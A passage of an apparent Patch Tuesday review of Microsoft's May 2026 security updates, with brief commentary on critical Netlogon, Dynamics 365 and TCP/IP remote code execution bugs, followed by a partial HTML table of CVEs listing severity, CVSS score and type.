href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33833"><span>CVE-2026-33833</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32204"><span>CVE-2026-32204</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42830"><span>CVE-2026-42830</span></a></td>
  <td width="256" class="xl73">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117"><span>CVE-2026-33117</span></a></td>
  <td width="256" class="xl73">Azure SDK for Java
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl73">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35424"><span>CVE-2026-35424</span></a></td>
  <td width="256" class="xl73">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41614"><span>CVE-2026-41614</span></a></td>
  <td width="256" class="xl73">M365 Copilot for
  Desktop Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41100"><span>CVE-2026-41100</span></a></td>
  <td width="256" class="xl73">Microsoft 365 Copilot
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40377"><span>CVE-2026-40377</span></a></td>
  <td width="256" class="xl73">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41094"><span>CVE-2026-41094</span></a></td>
  <td width="256" class="xl73">Microsoft Data
  Formulator Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40417"><span>CVE-2026-40417</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Business Central Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42833"><span>CVE-2026-42833</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42838"><span>CVE-2026-42838</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40360"><span>CVE-2026-40360</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40359"><span>CVE-2026-40359</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40362"><span>CVE-2026-40362</span></a></td>
  <td width="256" class="xl73">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42832"><span>CVE-2026-42832</span></a></td>
  <td width="256" class="xl73">Microsoft Excel
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34329"><span>CVE-2026-34329</span></a></td>
  <td width="256" class="xl73">Microsoft Message
  Queuing (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40419"><span>CVE-2026-40419</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40418"><span>CVE-2026-40418</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35436"><span>CVE-2026-35436</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40420"><span>CVE-2026-40420</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42893"><span>CVE-2026-42893</span></a></td>
  <td width="256" class="xl73">Microsoft Outlook for
  iOS Tampering Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40374"><span>CVE-2026-40374</span></a></td>
  <td width="256" class="xl73">Microsoft Power
  Automate Desktop Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41102"><span>CVE-2026-41102</span></a></td>
  <td width="256" class="xl73">Microsoft PowerPoint
  for Android Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35439"><span>CVE-2026-35439</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40368"><span>CVE-2026-40368</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33110"><span>CVE-2026-33110</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33112"><span>CVE-2026-33112</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40357"><span>CVE-2026-40357</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32185"><span>CVE-2026-32185</span></a></td>
  <td width="256" class="xl73">Microsoft Teams
  Spoofing Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
